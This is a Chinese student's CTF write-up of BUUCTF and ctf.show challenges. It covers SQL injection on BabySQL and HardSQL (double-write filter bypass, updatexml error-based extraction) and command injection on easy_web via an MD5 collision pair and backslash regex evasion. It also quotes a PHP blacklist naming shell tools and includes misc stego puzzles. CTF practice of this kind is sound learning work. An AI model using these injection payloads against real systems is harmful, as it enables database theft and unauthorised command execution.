前言

大二上的计划第一次给自己交作业。

Web

做SQL注入的题目有点拉垮,老老实实刷刷题吧。

BabySQL

极客大挑战的题目——来源BUUCTF
测试一下,先看一下闭合符号是什么。

?username=admin&password=1'

m0re
双引号闭合,
首先尝试万能密码

?username=admin&password="or"="a'='a

登录成功
m0re
想先fuzz一下,结果太多请求不返回内容了,只能手动测

?username=admin&password=1' union select 1#

m0re
然后只剩下1#可知unionselect被过滤了。尝试双写绕过
m0re
然后呢提示列数错误
所以这个时候已经注入成功了,只是查询语句出错了,列数我这里设置的1,进行尝试就可以知道列数为3
m0re
然后进行爆数据库名。

?username=admin&password=1' ununionion seselectlect 1,2,database()#

数据库名是geek
查询表名
m0re
过滤from,过滤好多。
重新设置payload

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata)#

m0re
查到ctf表和geek表都有可能,先看geek

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(table_name)frfromom (infoorrmation_schema.tables)whwhereere table_schema="geek"#

m0re
不急着查列,先看看ctf表中是什么,
m0re
这个就是都看一看,省去不必要的步骤
直接查字段了

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(column_name)frfromom (infoorrmation_schema.columns)whwhereere table_name="Flag"#

m0re
查看内容就可以了

?username=admin&password=1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)#

m0re

HardSQL

进行测试,测试闭合符号和一些常见过滤。
首先测试闭合符号,输入a'来进行测试
m0re
发现报错,然后进行fuzz测试。发现
m0re
过滤许多,=空格等,联合查询的方式被过滤了,order by也行不通,所以换个方法。报错注入进行注入。
所以空格可以使用()绕过,=可以用like
而且抓包会发现这个题目是get方式请求的
这里我测试使用的是updatexml也可以使用另一种,extractvalue
还有就是尝试进行注入数据库名的时候,发现and和or也被过滤。无法使用
,会“被逮到”!
然后就使用^形成异或,来连接SQL语句。
注入数据库名的payload

?username=admin&password=a'^updatexml('~',concat(0x7e,(select(database()))),'~')%23

%23#的URL编码
注出数据库名为geek
接下来就是模版,

?username=admin&password=a'^updatexml('~',concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))),'~')%23

m0re
过程顺利,继续进行

?username=admin&password=a'^updatexml('~',concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))),'~')%23	#id,username,password
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(password)from(geek.H4rDsq1))),'~')%23	#~flag{3ae14e93-a584-402e-bb93-c5'

m0re

最后的语句只有一半flag,这是updatexml只能一次最多显示32位,
所以需要使用left和right来控制输出。

?username=admin&password=a'^updatexml('~',concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))),'~')%23
?username=admin&password=a'^updatexml('~',concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))),'~')%23

得到后面的flagm0re
拼接一下就行。
这个是报错注入的注意点。不管做什么注入的题目,判断闭合符号和测试过滤条件是首先要做的。尽量将大部分测试出来。然后找可以绕过的点,还有出题人可能要考察的知识点。

easy_web

题目来源——[安洵杯 2019]easy_web——BUUCTF
在群里看到有人问这个,所以就看了看。挺有意思的一个题。总结一下
m0re
首先看到这个编码,疑似base64,解码后更像base64了,最后进行base16转换,就可以得到这样的m0re
所以这可能是命令执行的加密逻辑;
index.php进行加密后得到

TmprMlJUWTBOalUzT0RKRk56QTJPRGN3

传入

?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=

m0re
base64解码,得到
index.php的源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

进行代码审计,找到重要部分代码,这个

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;

需要绕过正则,还有下面的MD5强类型碰撞,因为用的是===
所以,在进行,命令执行的时候,还要注意绕过MD5强碰撞。
百度找下MD5强碰撞绕过。
找到payload如下:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后可以开始利用,进行命令执行部分的绕过。
正则匹配,过滤ls等常见命令,到那时找一圈,没发现dir,所以可以使用dir进行查看目录。
m0re
没找到flag,想一下,思考flag的位置,也就是根目录下了。
m0re
这里要注意的是空格,在里面被过滤了,需要进行URL编码一下,才可以利用。所以这里是dir%20/
然后怎么得到flag是个问题,cat、more等命令被禁了。
测试发现反斜扛是没有被过滤的,然后看正则,

ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>

其中|\?|\\|\\\\|\n|中是将\过滤的,有点不理解就看大佬wp,说是这里反斜杠逃逸。
所以可以利用反斜杠。
我自己的理解

\\\\
四个反斜杠,前面两个解释成一个反斜杠,后面两个解释成一个反斜杠。两个反斜杠相当于玩了个寂寞,都没有跟东西所以反斜杠实际上没有被过滤。相当于替换双斜杠。如果要过滤反斜杠要么两个或者三个。

这里使用ca\t%20/flag就可以读出flag了。

Misc

1024杯misc签到

描述:地图,各个路口的编号,flag遗落在其中了,flag路口的编号是连续的

路口编号,第一个路口不知道是什么,找到第一个,剩下的就好找了
出题人是9u4ck师傅,找师傅的id试试,
直到9u4发现了端倪
m0re
跟上了fl,再找就找路口编号就行。
m0re

56520 78210 35498184 9u4fl
78210 81068 79650456 ag{We 
81068 86056 65454545 lcom
86056 89556 16548421  _102
89556 91205 26568154  4_Cha
91205 94156 566512548 lleng
94156 96825 15487856 _9u4
96825 98155 156565645  ck}56

拼接出来flag

1024杯misc重新签到

题目来源ctf.show平台
hint.txt提示到一关一关解出flag
第一关,压缩包,拖进010editor查看,测试出不是伪加密,在末尾看到了提示,
m0re

但是爆破密码无果。
于是进行CRC32碰撞。得到密码。
m0re
然后是steghide隐写

steghide extract -sf level_2.jpg -p 0009656856

m0re
发现得到的是密码是什么呀
然后就是
m0re
密码是32 bits,想的是md5,但是密码什么却不知道,怎么加密也不知道。所以就卡住了。
看了大师傅的wp后,
emmm,脑洞啊,太小了。还有就是,这个没有那么多提示了。
提示如下:
m0re
脑洞了,可惜我脑洞太小,猜不出来。
wp说的是将什么呀经过sha1加密得到压缩包的密码。
a95aea415a4d76c323b13423a22f72c56ca912b6
最后得到flag

1024_大威天龙

拉近010editor查看,改下高度,发现下方文字。
m0re
如是我闻开头,佛曰,与佛论禅在线网站。
解出是新佛曰,也有对应的在线网站。
再次解出熊曰,同样是在线网站
最后熊曰解出的是佛又曰,重点在这里,这个之前没见过,收集一下网站。
佛又曰在线网站
需要箴言,也就是密钥
箴言在题目描述中,出题师傅已经给了。
大威天龙,世尊地藏,般若诸佛,般若巴嘛哄
m0re

总结

这次学习有复习以前的知识,还有获取新知识,SQL注入是一块大饼,还是要慢慢啃。下周继续努力。